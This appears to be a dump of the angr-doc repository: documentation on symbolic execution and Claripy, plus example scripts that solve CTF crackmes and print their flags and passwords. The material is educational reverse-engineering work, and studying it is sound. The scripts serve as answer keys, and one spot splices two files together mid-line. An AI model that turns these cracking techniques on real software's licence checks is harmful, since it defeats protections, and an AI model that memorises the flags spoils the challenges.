self.project.analyses.CFG() 60 | ... self.results = { } 61 | ... for addr, func in self._cfg.function_manager.functions.items(): 62 | ... with self._resilience(): 63 | ... if addr % 2 == 0: 64 | ... raise ValueError("can't handle functions at even addresses") 65 | ... else: 66 | ... self.results[addr] = "GOOD" 67 | ``` 68 | 69 | The context manager catches any exceptions thrown and logs them (as a tuple of the exception type, message, and traceback) to `self.errors`. 70 | These are also saved and loaded when the analysis is saved and loaded (although the traceback is discarded, as it is not picklable). 71 | 72 | You can tune the effects of the resilience with two optional keyword parameters to `self._resilience()`. 73 | 74 | The first is `name`, which affects where the error is logged. 75 | By default, errors are placed in `self.errors`, but if `name` is provided, then instead the error is logged to `self.named_errors`, which is a dict mapping `name` to a list of all the errors that were caught under that name. 76 | This allows you to easily tell where thrown without examining its traceback. 77 | 78 | The second argument is `exception`, which should be the type of the exception that `_resilience` should catch. 79 | This defaults to `Exception`, which handles (and logs) almost anything that could go wrong. 80 | You can also pass a tuple of exception types to this option, in which case all of them will be caught. 81 | 82 | Using `_resilience` has a few advantages: 83 | 84 | 1. Your exceptions are gracefully logged and easily accessible afterwards. This is really nice for writing testcases. 85 | 2. When creating your analysis, the user can pass `fail_fast=True`, which transparently disable the resilience, which is really nice for manual testing. 86 | 3. It's prettier than having `try`/`except` everywhere. 87 | 88 | Have fun with analyses! Once you master the rest of angr, you can use analyses to understand anything computable! 89 | -------------------------------------------------------------------------------- /docs/appendices/ops.md: -------------------------------------------------------------------------------- 1 | # List of Claripy Operations 2 | 3 | #### Arithmetic and Logic 4 | 5 | | Name | Description | Example | 6 | |------|-------------|---------| 7 | | LShR | Logically shifts an expression to the right. (the default shifts are arithmetic) | `x.LShR(10)` | 8 | | RotateLeft | Rotates an expression left | `x.RotateLeft(8)` | 9 | | RotateRight | Rotates an expression right | `x.RotateRight(8)` | 10 | | And | Logical And (on boolean expressions) | `solver.And(x == y, x > 0)` | 11 | | Or | Logical Or (on boolean expressions) | `solver.Or(x == y, y < 10)` | 12 | | Not | Logical Not (on a boolean expression) | `solver.Not(x == y)` is the same as `x != y` | 13 | | If | An If-then-else | Choose the maximum of two expressions: `solver.If(x > y, x, y)` | 14 | | ULE | Unsigned less than or equal to | Check if x is less than or equal to y: `x.ULE(y)` | 15 | | ULT | Unsigned less than | Check if x is less than y: `x.ULT(y)` | 16 | | UGE | Unsigned greater than or equal to | Check if x is greater than or equal to y: `x.UGE(y)` | 17 | | UGT | Unsigned greater than | Check if x is greater than y: `x.UGT(y)` | 18 | | SLE | Signed less than or equal to | Check if x is less than or equal to y: `x.SLE(y)` | 19 | | SLT | Signed less than | Check if x is less than y: `x.SLT(y)` | 20 | | SGE | Signed greater than or equal to | Check if x is greater than or equal to y: `x.SGE(y)` | 21 | | SGT | Signed greater than | Check if x is greater than y: `x.SGT(y)` | 22 | 23 | TODO: Add the floating point ops 24 | 25 | #### Bitvector Manipulation 26 | 27 | | Name | Description | Example | 28 | |------|-------------|---------| 29 | | SignExt | Pad a bitvector on the left with `n` sign bits | `x.sign_extend(n)` | 30 | | ZeroExt | Pad a bitvector on the left with `n` zero bits | `x.zero_extend(n)` | 31 | | Extract | Extracts the given bits (zero-indexed from the *right*, inclusive) from an expression. | Extract the least significant byte of x: `x[7:0]` | 32 | | Concat | Concatenates any number of expressions together into a new expression. | `x.concat(y, ...)` | 33 | 34 | #### Extra Functionality 35 | 36 | There's a bunch of prepackaged behavior that you *could* implement by analyzing the ASTs and composing sets of operations, but here's an easier way to do it: 37 | 38 | - You can chop a bitvector into a list of chunks of `n` bits with `val.chop(n)` 39 | - You can endian-reverse a bitvector with `x.reversed` 40 | - You can get the width of a bitvector in bits with `val.length` 41 | - You can test if an AST has any symbolic components with `val.symbolic` 42 | - You can get a set of the names of all the symbolic variables implicated in the construction of an AST with `val.variables` 43 | -------------------------------------------------------------------------------- /docs/be_creative.md: -------------------------------------------------------------------------------- 1 | # A final word of advice 2 | 3 | Congratulations! 4 | If you've read this far through the book (editor's note: this comment only really applies when we've actually finished writing all the TODOs so far) then you've been introduced to all the fundamental components of angr necessary to get started with binary analysis. 5 | 6 | Ultimately, angr is just an emulator. 7 | It is a highly instrumentable and very unique emulator with lots of considerations for environment, true, but at its core, the work you do with angr is about extracting knowledge about how a bunch of bytecode behaves on a CPU. 8 | In designing angr, we've tried to provide you with the tools and abstractions on top of this emulator to make certain common tasks more useful, but there's no problem you can't solve just by working with a SimState and observing the affects of `.step()`. 9 | 10 | As you read further into this book, we'll describe more technical subjects and how to tune angr's behavior for complicated scenarios. 11 | This knowledge should inform your use of angr so you can take the quickest path to a solution to any given problem, but ultimately, you will want to solve problems by exercising creativity with the tools at your disposal. 12 | If you can take a problem and wrangle it into a form where it has defined and tractable inputs and outputs, you can absolutely use angr to achieve your goals, given that these goals involve analyzing binaries. 13 | None of the abstractions or instrumentations we provide are the end-all of how to use angr for a given task - angr is designed so it can be used in as integrated or as ad-hoc of a manner as you desire. 14 | If you see a path from problem to solution, take it. 15 | 16 | Of course, it's very difficult to become well-acquainted with such a huge piece of technology as angr. 17 | To this end you can absolutely lean on the community (through the [angr slack](https://angr.io/invite) is the best option) to discuss angr and solving problems with it. 18 | 19 | Good luck! 20 | -------------------------------------------------------------------------------- /docs/concretization_strategies.md: -------------------------------------------------------------------------------- 1 | # Symbolic memory addressing 2 | 3 | angr supports *symbolic memory addressing*, meaning that offsets into memory may be symbolic. 4 | Our implementation of this is inspired by "Mayhem". 5 | Specifically, this means that angr concretizes symbolic addresses when they are used as the target of a write. 6 | This causes some surprises, as users tend to expect symbolic writes to be treated purely symbolically, or "as symbolically" as we treat symbolic reads, but that is not the default behavior. 7 | However, like most things in angr, this is configurable. 8 | 9 | The address resolution behavior is governed by *concretization strategies*, which are subclasses of `angr.concretization_strategies.SimConcretizationStrategy`. 10 | Concretization strategies for reads are set in `state.memory.read_strategies` and for writes in `state.memory.write_strategies`. 11 | These strategies are called, in order, until one of them is able to resolve addresses for the symbolic index. 12 | By setting your own concretization strategies (or through the use of SimInspect `address_concretization` breakpoints, described above), you can change the way angr resolves symbolic addresses. 13 | 14 | For example, angr's default concretization strategies for writes are: 15 | 16 | 1. A conditional concretization strategy that allows symbolic writes (with a maximum range of 128 possible solutions) for any indices that are annotated with `angr.plugins.symbolic_memory.MultiwriteAnnotation`. 17 | 2. A concretization strategy that simply selects the maximum possible solution of the symbolic index. 18 | 19 | To enable symbolic writes for all indices, you can either add the `SYMBOLIC_WRITE_ADDRESSES` state option at state creation time or manually insert a `angr.concretization_strategies.SimConcretizationStrategyRange` object into `state.memory.write_strategies`. 20 | The strategy object takes a single argument, which is the maximum range of possible solutions that it allows before giving up and moving on to the next (presumably non-symbolic) strategy. 21 | 22 | ## Writing concretization strategies 23 | 24 | TODO -------------------------------------------------------------------------------- /docs/course.md: -------------------------------------------------------------------------------- 1 | # How to angr 2 | 3 | This is a stub for a step-by-step angr course. 4 | This course is meant to supplement the examples, gitbook, and API reference by gradually introducing new users to more and more advanced angr features. 5 | 6 | Where possible, we'll include slides explaining the underlying concepts and maybe even some video tutorials! 7 | 8 | # TODO: basic symbolic execution - step a path group 9 | 10 | # TODO: next steps - using avoid, etc to cut down on path explosion 11 | 12 | # TODO: next steps - veritesting? 13 | 14 | # TODO: next steps - custom hooks to replace binary code and make things easier for angr 15 | 16 | # TODO: let's start on some static analysis (CFG example to target symbolic execution?) 17 | 18 | # TODO: VFG, DDG, something? 19 | 20 | # TODO: under-constrained symbolic execution based on VFG results? 21 | 22 | # more advanced stuff! 23 | -------------------------------------------------------------------------------- /docs/courses/src/step0.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/docs/courses/src/step0.bin -------------------------------------------------------------------------------- /docs/courses/src/step0.c: -------------------------------------------------------------------------------- 1 | int main(int argc, char **argv) 2 | { 3 | 4 | argc -= 1; 5 | 6 | if (argc == 0) 7 | return 0; 8 | else 9 | { 10 | switch (argc) 11 | { 12 | case 1: 13 | return 1; 14 | default: 15 | return 2; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /docs/courses/step0-basic_symbol_execution.md: -------------------------------------------------------------------------------- 1 | # angr courses - Step 0 - Basic symbolic execution 2 | 3 | The first thing you are going to do with angr is executing symbolicaly your 4 | program. As a reminder, you can check what symbolic execution is [here](../symbolic.md). 5 | 6 | The binary and source code for this course can be found [here](./src/). 7 | 8 | ```python 9 | >>> import angr 10 | 11 | # We load the binary in angr 12 | >>> project = angr.Project('docs/courses/src/step0.bin') 13 | 14 | # Let's make things more readable 15 | >>> addr_main = 0x4004a6 16 | >>> first_jmp = 0x4004b9 17 | >>> endpoint = 0x4004d6 18 | >>> first_branch_left = 0x4004bb 19 | >>> first_branch_right = 0x4004c2 20 | >>> second_branch_left = 0x4004ca 21 | >>> second_branch_right = 0x4004d1 22 | 23 | 24 | # We create a state so that angr starts at the beginning of the main function 25 | >>> main_state = project.factory.blank_state(addr=addr_main) 26 | >>> sm = project.factory.simgr(main_state) 27 | >>> assert sm.active[0].addr == addr_main 28 | 29 | 30 | # Our simulation manager hasn't done anything yet, so it only has one active state 31 | # which address is main 32 | # Let's step 33 | # The simgr.step functions accepts different arguments to regulate 34 | # the stepping. Here, let's try to step until we reach the first comparison 35 | >>> sm.step(until=lambda pg: pg.active[0].addr >= first_jmp) 36 | 37 | 38 | # We now have two active states. Each of them took a branch from the 39 | # comparison and will progress independently from the other one 40 | >>> print(sm) 41 | >>> for i, s in enumerate(sm.active): 42 | ... print('Active state %d: %s' % (i, hex(s.addr))) 43 | >>> assert len(sm.active) == 2 44 | >>> assert sm.active[0].addr == first_branch_left 45 | >>> assert sm.active[1].addr == first_branch_right 46 | 47 | 48 | # If we make the first step, it will continue until reaching the endpoint 49 | # The other one, however, will reach another comparison and should 50 | # split again 51 | >>> sm.step() 52 | >>> print(sm) 53 | >>> for i, s in enumerate(sm.active): 54 | ... print('Active state %d: %s' % (i, hex(s.addr))) 55 | >>> assert len(sm.active) == 3 56 | >>> assert sm.active[0].addr == endpoint 57 | >>> assert sm.active[1].addr == second_branch_left 58 | >>> assert sm.active[2].addr == second_branch_right 59 | 60 | 61 | # Good, we now have three states 62 | # - The two first states reached the endpoint, and became unconstrained, since 63 | # we started executing directly at main function. We would have seen these 2 states 64 | # if we had enabled save_unconstrained option of our SimulationManager. 65 | # - The other one will have the same history thus stop stepping at the endpoint 66 | >>> sm.step() 67 | >>> print(sm) 68 | >>> for i, s in enumerate(sm.active): 69 | ... print('Active state %d: %s' % (i, hex(s.addr))) 70 | >>> assert len(sm.active) == 1 71 | >>> assert sm.active[0].addr == endpoint 72 | 73 | 74 | # The same effect can be done by using simgr.explore() 75 | # The explorer will step every state until no more states are active 76 | >>> sm = project.factory.simgr(main_state) 77 | >>> sm.explore() 78 | >>> assert len(sm.active) == 0 79 | ``` 80 | -------------------------------------------------------------------------------- /docs/gotchas.md: -------------------------------------------------------------------------------- 1 | # Gotchas when using angr 2 | 3 | This section contains a list of gotchas that users/victims of angr frequently run into. 4 | 5 | ## SimProcedure inaccuracy 6 | 7 | To make symbolic execution more tractable, angr replaces common library functions with summaries written in Python. 8 | We call these summaries SimProcedures. 9 | SimProcedures allow us to mitigate path explosion that would otherwise be introduced by, for example, `strlen` running on a symbolic string. 10 | 11 | Unfortunately, our SimProcedures are far from perfect. 12 | If angr is displaying unexpected behavior, it might be caused by a buggy/incomplete SimProcedure. 13 | There are several things that you can do: 14 | 15 | 1. Disable the SimProcedure (you can exclude specific SimProcedures by passing options to the [angr.Project class](http://angr.io/api-doc/angr.html#module-angr.project)). This has the drawback of likely leading to a path explosion, unless you are very careful about constraining the input to the function in question. The path explosion can be partially mitigated with other angr capabilities (such as Veritesting). 16 | 2. Replace the SimProcedure with something written directly to the situation in question. For example, our `scanf` implementation is not complete, but if you just need to support a single, known format string, you can write a hook to do exactly that. 17 | 3. Fix the SimProcedure. 18 | 19 | ## Unsupported syscalls 20 | 21 | System calls are also implemented as SimProcedures. 22 | Unfortunately, there are system calls that we have not yet implemented in angr. 23 | There are several workarounds for an unsupported system call: 24 | 25 | 1. Implement the system call. *TODO: document this process* 26 | 2. Hook the callsite of the system call (using `project.hook`) to make the required modifications to the state in an ad-hoc way. 27 | 3. Use the `state.posix.queued_syscall_returns` list to queue syscall return values. If a return value is queued, the system call will not be executed, and the value will be used instead. Furthermore, a function can be queued instead as the "return value", which will result in that function being applied to the state when the system call is triggered. 28 | 29 | ## Symbolic memory model 30 | 31 | The default memory model used by angr is inspired by [Mayhem](https://users.ece.cmu.edu/~dbrumley/pdf/Cha%20et%20al._2012_Unleashing%20Mayhem%20on%20Binary%20Code.pdf). 32 | This memory model supports limited symbolic reads and writes. 33 | If the memory index of a read is symbolic and the range of possible values of this index is too wide, the index is concretized to a single value. 34 | If the memory index of a write is symbolic at all, the index is concretized to a single value. 35 | This is configurable by changing the memory concretization strategies of `state.memory`. 36 | 37 | ## Symbolic lengths 38 | 39 | SimProcedures, and especially system calls such as `read()` and `write()` might run into a situation where the *length* of a buffer is symbolic. 40 | In general, this is handled very poorly: in many cases, this length will end up being concretized outright or retroactively concretized in later steps of execution. 41 | Even in cases when it is not, the source or destination file might end up looking a bit "weird". 42 | 43 | ## Division by Zero 44 | 45 | Z3 has some issues with divisions by zero. 46 | For example: 47 | 48 | ``` 49 | >>> z = z3.Solver() 50 | >>> a = z3.BitVec('a', 32) 51 | >>> b = z3.BitVec('b', 32) 52 | >>> c = z3.BitVec('c', 32) 53 | >>> z.add(a/b == c) 54 | >>> z.add(b == 0) 55 | >>> z.check() 56 | >>> print(z.model().eval(b), z.model().eval(a/b)) 57 | 0 4294967295 58 | ``` 59 | 60 | This makes it very difficult to handle certain situations in Claripy. 61 | We post-process the VEX IR itself to explicitly check for zero-divisions and create IRSB side-exits corresponding to the exceptional case, but SimProcedures and custom analysis code may let occurrences of zero divisions split through, which will then cause weird issues in your analysis. 62 | Be safe --- when dividing, add a constraint against the denominator being zero. 63 | -------------------------------------------------------------------------------- /docs/java_support.md: -------------------------------------------------------------------------------- 1 | `angr` also supports symbolically executing Java code and Android apps! 2 | This also includes Android apps using a combination of compiled Java and native (C/C++) code. 3 | 4 | **Java support is experimental!** 5 | _Contribution from the community is highly encouraged! Pull requests are very welcomed!_ 6 | 7 | We implemented Java support by lifting the compiled Java code, both Java and DEX bytecode, leveraging our Soot Python wrapper: [pysoot](https://github.com/angr/pysoot). 8 | `pysoot` extracts a fully serializable interface from Android apps and Java code (unfortunately, as of now, it only works on Linux). 9 | For every class of the generated IR (for instance, `SootMethod`), you can nicely print its instructions (in a format similar to `Soot` `shimple`) using `print()` or `str()`. 10 | 11 | We then leverage the generated IR in a new angr engine able to run code in Soot IR: [angr/engines/soot/engine.py](https://github.com/angr/angr/blob/master/angr/engines/soot/engine.py). 12 | This engine is also able to automatically switch to executing native code if the Java code calls any native method using the JNI interface. 13 | 14 | Together with the symbolic execution, we also implemented some basic static analysis, specifically a basic CFG reconstruction analysis. 15 | Moreover, we added support for string constraint solving, modifying claripy and using the CVC4 solver. 16 | 17 | ## How to install 18 | Enabling Java support requires few more steps than typical angr installation. 19 | Assuming you installed [angr-dev](https://github.com/angr/angr-dev), activate the virtualenv and run: 20 | ```bash 21 | pip install -e ./claripy[cvc4-solver] 22 | ./setup.sh pysoot 23 | ``` 24 | 25 | #### Analyzing Android apps. 26 | Analyzing Android apps (`.APK` files, containing Java code compiled to the `DEX` format) requires the Android SDK. 27 | Typically, it is installed in `/Android/SDK/platforms/platform-XX/android.jar`, where `XX` is the Android SDK version used by the app you want to analyze (you may want to install all the platforms required by the Android apps you want to analyze). 28 | 29 | ## Examples 30 | There are multiple examples available: 31 | - Easy Java crackmes: [java_crackme1](https://github.com/angr/angr-doc/tree/master/examples/java_crackme1), [java_simple3](https://github.com/angr/angr-doc/tree/master/examples/java_simple3), [java_simple4](https://github.com/angr/angr-doc/tree/master/examples/java_simple4) 32 | - A more complex example (solving a CTF challenge): [ictf2017_javaisnotfun](https://github.com/angr/angr-doc/tree/master/examples/ictf2017_javaisnotfun), [blogpost](https://angr.io/blog/java_angr/) 33 | - Symbolically executing an Android app (using a mix of Java and native code): [java_androidnative1](https://github.com/angr/angr-doc/tree/master/examples/java_androidnative1) 34 | - Many other low-level tests: [test_java](https://github.com/angr/angr/blob/master/tests/test_java.py) 35 | -------------------------------------------------------------------------------- /docs/symbolic.md: -------------------------------------------------------------------------------- 1 | Symbolic Execution 2 | ================== 3 | 4 | Symbolic execution allows at a time in emulation to determine for a branch all conditions necessary to take a branch or not. 5 | Every variable is represented as a symbolic value, and each branch as a constraint. 6 | Thus, symbolic execution allows us to see which conditions allows the program to go from a point A to a point B, by resolving the constraints. 7 | 8 | If you've read this far, you can see how the components of angr work together to make this possible. 9 | Read on to learn about how to make the leap from tools to results. 10 | 11 | TODO: A real introduction to the concept of symbolic execution. 12 | -------------------------------------------------------------------------------- /docs/todo.md: -------------------------------------------------------------------------------- 1 | This link does not point to anything yet. This is most likely because the referred page or section was not written yet at the time of writing. 2 | -------------------------------------------------------------------------------- /examples/0ctf_momo_3/momo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/0ctf_momo_3/momo -------------------------------------------------------------------------------- /examples/0ctf_momo_3/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # This is a movfuscated binary from 0ctf 2016, debugging we can see 4 | # that every byte from the flag gets moved this way: 5 | # .text:0804ABAC mov edx, dword_81FE260[edx*4] 6 | # after, varying a few times the input and looking for differences 7 | # with Qira we can see that it is expected for the content of 8 | # 0x81fe6e0 and 0x81fe6e4 to be the same 9 | # since the way the movfuscator "vm" access memory is always the same 10 | # we can search for the same instructions (in the same order) to 11 | # establish the targets for angr execution 12 | 13 | import sys 14 | import string 15 | import angr 16 | from angr.block import CapstoneInsn, CapstoneBlock 17 | 18 | 19 | ins_char = 0x81fe6e0 20 | flag_char = 0x81fe6e4 21 | 22 | after_fgets = 0x08049653 23 | mov_congrats = 0x0805356E 24 | 25 | 26 | def main(): 27 | p = angr.Project('./momo', auto_load_libs=False) 28 | 29 | addr = after_fgets 30 | size = mov_congrats - after_fgets 31 | 32 | # let's disasm with capstone to search targets 33 | insn_bytes = p.loader.memory.load(addr, size) 34 | 35 | insns = [] 36 | for cs_insn in p.arch.capstone.disasm(insn_bytes, addr): 37 | insns.append(CapstoneInsn(cs_insn)) 38 | block = CapstoneBlock(addr, insns, 0, p.arch) 39 | 40 | targets = [] 41 | 42 | # let's keep track of the state 43 | state = 0 44 | for ins in block.insns: 45 | if state == 0: 46 | if ins.op_str == 'edx, dword ptr [edx*4 + 0x81fe260]': 47 | state += 1 48 | continue 49 | if state == 1: 50 | if ins.op_str == 'al, byte ptr [0x81fe6e0]': 51 | state += 1 52 | continue 53 | if state == 2: 54 | if ins.op_str == 'dl, byte ptr [0x81fe6e4]': 55 | targets.append(ins.address + ins.size) 56 | state = 0 57 | 58 | print("found {:d} targets".format(len(targets))) 59 | assert len(targets) == 28 60 | 61 | flag_arr = bytearray(b'0ctf{') 62 | 63 | for target in targets[5:]: 64 | print("\nexamining target {:#x}:".format(target)) 65 | for trychar in string.printable: 66 | print(trychar,) 67 | sys.stdout.flush() 68 | flag = bytes(flag_arr)+trychar.encode() 69 | state = p.factory.entry_state(stdin=flag + b"\n") 70 | 71 | e = p.factory.simulation_manager(state) 72 | e.explore(find=target) 73 | 74 | assert len(e.found) == 1 75 | np = e.found[0] 76 | 77 | while True: 78 | nb_size = target - np.addr 79 | if nb_size <= 0: 80 | break 81 | np = p.factory.successors(np, size=nb_size).flat_successors[0] 82 | assert nb_size == 0 83 | 84 | al = np.regs.eax[7:0] 85 | dl = np.regs.edx[7:0] 86 | al_val = al._model_concrete.value 87 | dl_val = dl._model_concrete.value 88 | 89 | if al_val == dl_val: 90 | flag_arr.append(ord(trychar)) 91 | break 92 | 93 | return bytes(flag_arr) 94 | 95 | 96 | def test(): 97 | assert main() == b'0ctf{m0V_I5_tUr1N9_c0P1Et3!}' 98 | 99 | 100 | if __name__ == '__main__': 101 | print(main()) 102 | -------------------------------------------------------------------------------- /examples/0ctf_trace/data.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/0ctf_trace/data.bin -------------------------------------------------------------------------------- /examples/0ctf_trace/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | In this challenge we're given a text file with trace of a program execution. The file has 5 | two columns, address and instruction executed. So we know all the instructions being executed, 6 | and which branches were taken. But the initial data is not known. 7 | 8 | Reversing reveals that a buffer on the stack is initialized with known constant string first, 9 | then an unknown string is appended to it (the flag), and finally it's sorted with some 10 | variant of quicksort. And we need to find the flag somehow. 11 | 12 | angr easily solves this problem. We only have to direct it to the right direction 13 | at every branch, and solver finds the flag at a glance. 14 | """ 15 | 16 | from __future__ import print_function 17 | 18 | import struct 19 | 20 | import angr 21 | 22 | MAIN_START = 0x4009d4 23 | MAIN_END = 0x00400c18 24 | 25 | FLAG_LOCATION = 0x400D80 26 | FLAG_PTR_LOCATION = 0x410EA0 27 | 28 | def load_trace(): 29 | res = [] 30 | delay_slots = set() 31 | with open("./trace_8339a701aae26588966ad9efa0815a0a.log") as f: 32 | for line in f: 33 | if line.startswith('[INFO]'): 34 | addr = int(line[6:6+8], 16) 35 | 36 | res.append(addr) 37 | 38 | # every command like this is in delay slot 39 | # (in this particular binary) 40 | if ("move r1, r1" in line): 41 | delay_slots.add(addr) 42 | 43 | return res, delay_slots 44 | 45 | def main(): 46 | trace_log, delay_slots = load_trace() 47 | 48 | # data.bin is simply the binary assembled from trace, 49 | # starting on 0x400770 50 | project = angr.Project( 51 | "./data.bin", 52 | load_options={ 53 | 'main_opts': { 54 | 'backend': 'blob', 55 | 'base_addr': 0x400770, 56 | 'arch': 'mipsel', 57 | }, 58 | }, 59 | auto_load_libs=False, 60 | ) 61 | 62 | state = project.factory.blank_state(addr=MAIN_START) 63 | state.memory.store(FLAG_LOCATION, state.solver.BVS("flag", 8*32)) 64 | state.memory.store(FLAG_PTR_LOCATION, struct.pack(" 0: 65 | break 66 | found = found_list[0] 67 | solution2 = found.posix.dumps(0) 68 | print("easter egg found!") 69 | print(repr(solution2)) 70 | with open('easteregg_input2.bin', 'wb') as fp: 71 | fp.write(solution2) 72 | #you can even check if the easter egg has been found by checking stdout 73 | stdout2 = found.posix.dumps(1) 74 | print(repr(stdout2)) 75 | 76 | return (crashing_input, solution1, stdout1, solution2, stdout2) 77 | 78 | 79 | def test(): 80 | crashing_input, solution1, stdout1, solution2, stdout2 = main() 81 | assert len(crashing_input) >= 92 and solution1.startswith(b"^") and solution2.startswith(b"^") and \ 82 | b"EASTER EGG!" in stdout1 and b"EASTER EGG!" in stdout2 83 | 84 | 85 | if __name__ == '__main__': 86 | print(repr(main())) 87 | 88 | 89 | -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/.gitignore: -------------------------------------------------------------------------------- 1 | input 2 | -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x00a/crackme0x00a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/CSCI-4968-MBE/challenges/crackme0x00a/crackme0x00a -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x00a/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Author: David Manouchehri 4 | # Modern Binary Exploitation 5 | # http://security.cs.rpi.edu/courses/binexp-spring2015/ 6 | 7 | import angr 8 | 9 | FIND_ADDR = 0x08048533 # mov dword [esp], str.Congrats_ ; [0x8048654:4]=0x676e6f43 LEA str.Congrats_ ; "Congrats!" @ 0x8048654 10 | AVOID_ADDR = 0x08048554 # mov dword [esp], str.Wrong_ ; [0x804865e:4]=0x6e6f7257 LEA str.Wrong_ ; "Wrong!" @ 0x804865e 11 | 12 | 13 | def main(): 14 | proj = angr.Project('crackme0x00a', load_options={"auto_load_libs": False}) 15 | sm = proj.factory.simulation_manager() 16 | sm.explore(find=FIND_ADDR, avoid=AVOID_ADDR) 17 | return sm.found[0].posix.dumps(0).split(b'\0')[0] # stdin 18 | 19 | def test(): 20 | assert main() == b'g00dJ0B!' 21 | 22 | if __name__ == '__main__': 23 | print(main()) 24 | -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x01/crackme0x01: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/CSCI-4968-MBE/challenges/crackme0x01/crackme0x01 -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x01/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author: David Manouchehri 5 | # Modern Binary Exploitation 6 | # http://security.cs.rpi.edu/courses/binexp-spring2015/ 7 | 8 | import angr 9 | 10 | FIND_ADDR = 0x0804844e # This is right after the printf for the OK password. 11 | AVOID_ADDR = 0x08048434 # mov dword [esp], str.Invalid_Password__n ; [0x804854f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804854f 12 | 13 | def main(): 14 | proj = angr.Project('crackme0x01', load_options={"auto_load_libs": False}) 15 | 16 | sm = proj.factory.simulation_manager() 17 | sm.explore(find=FIND_ADDR, avoid=AVOID_ADDR) 18 | 19 | return sm.found[0].posix.dumps(0).lstrip(b'+0').rstrip(b'B\n') 20 | 21 | def test(): 22 | assert main() == b'5274' 23 | 24 | if __name__ == '__main__': 25 | print(repr(main())) 26 | 27 | """ 28 | [0x08048530]> pdf @ main 29 | ;-- main: 30 | ╒ (fcn) sym.main 113 31 | │ ; arg int arg_149ah @ ebp+0x149a 32 | │ ; var int arg_4h @ esp+0x4 33 | │ ; UNKNOWN XREF from 0x08048348 (entry0) 34 | │ ; DATA XREF from 0x08048347 (entry0) 35 | │ 0x080483e4 55 push ebp 36 | │ 0x080483e5 89e5 ebp = esp 37 | │ 0x080483e7 83ec18 esp -= 0x18 38 | │ 0x080483ea 83e4f0 esp &= 0xfffffff0 39 | │ 0x080483ed b800000000 eax = 0 40 | │ 0x080483f2 83c00f eax += 0xf 41 | │ 0x080483f5 83c00f eax += 0xf 42 | │ 0x080483f8 c1e804 eax >>>= 4 43 | │ 0x080483fb c1e004 eax <<<= 4 44 | │ 0x080483fe 29c4 esp -= eax 45 | │ 0x08048400 c70424288504. dword [esp] = str.IOLI_Crackme_Level_0x01_n ; [0x8048528:4]=0x494c4f49 LEA str.IOLI_Crackme_Level_0x01_n ; "IOLI Crackme Level 0x01." @ 0x8048528 46 | │ 0x08048407 e810ffffff sym.imp.printf () 47 | │ 0x0804840c c70424418504. dword [esp] = str.Password: ; [0x8048541:4]=0x73736150 LEA str.Password: ; "Password: " @ 0x8048541 48 | │ 0x08048413 e804ffffff sym.imp.printf () 49 | │ 0x08048418 8d45fc eax = [ebp - local_4h] 50 | │ 0x0804841b 89442404 dword [esp + arg_4h] = eax 51 | │ 0x0804841f c704244c8504. dword [esp] = 0x804854c ; [0x804854c:4]=0x49006425 ; "%d" @ 0x804854c 52 | │ 0x08048426 e8e1feffff sym.imp.scanf () 53 | │ 0x0804842b 817dfc9a1400. if (dword [ebp - local_4h] == 0x149a ; [0x149a:4]=0x2ec0804 54 | │ ┌─< 0x08048432 740e isZero 0x8048442) 55 | │ │ 0x08048434 c704244f8504. dword [esp] = str.Invalid_Password__n ; [0x804854f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804854f 56 | │ │ 0x0804843b e8dcfeffff sym.imp.printf () 57 | │ ┌──< 0x08048440 eb0c goto 0x804844e 58 | │ │└─> 0x08048442 c70424628504. dword [esp] = str.Password_OK_:__n ; [0x8048562:4]=0x73736150 LEA str.Password_OK_:__n ; "Password OK :)." @ 0x8048562 59 | │ │ 0x08048449 e8cefeffff sym.imp.printf () 60 | │ │ ; JMP XREF from 0x08048440 (sym.main) 61 | │ └──> 0x0804844e b800000000 eax = 0 62 | │ 0x08048453 c9 63 | ╘ 0x08048454 c3 64 | """ 65 | -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x02/crackme0x02: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/CSCI-4968-MBE/challenges/crackme0x02/crackme0x02 -------------------------------------------------------------------------------- /examples/CSCI-4968-MBE/challenges/crackme0x02/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # Author: David Manouchehri 5 | # Modern Binary Exploitation 6 | # http://security.cs.rpi.edu/courses/binexp-spring2015/ 7 | 8 | import angr 9 | 10 | FIND_ADDR = 0x0804845f # Statement right after the OK printf. 11 | AVOID_ADDR = 0x08048461 # dword [esp] = str.Invalid_Password__n ; [0x804857f:4]=0x61766e49 LEA str.Invalid_Password__n ; "Invalid Password!." @ 0x804857f 12 | 13 | def main(): 14 | proj = angr.Project('crackme0x02', load_options={"auto_load_libs": False}) 15 | 16 | sm = proj.factory.simulation_manager() 17 | sm.explore(find=FIND_ADDR, avoid=AVOID_ADDR) 18 | 19 | return sm.found[0].posix.dumps(0).lstrip(b'+0').rstrip(b'B\n\n') 20 | 21 | def test(): 22 | assert main() == b'338724' 23 | 24 | if __name__ == '__main__': 25 | print(repr(main())) 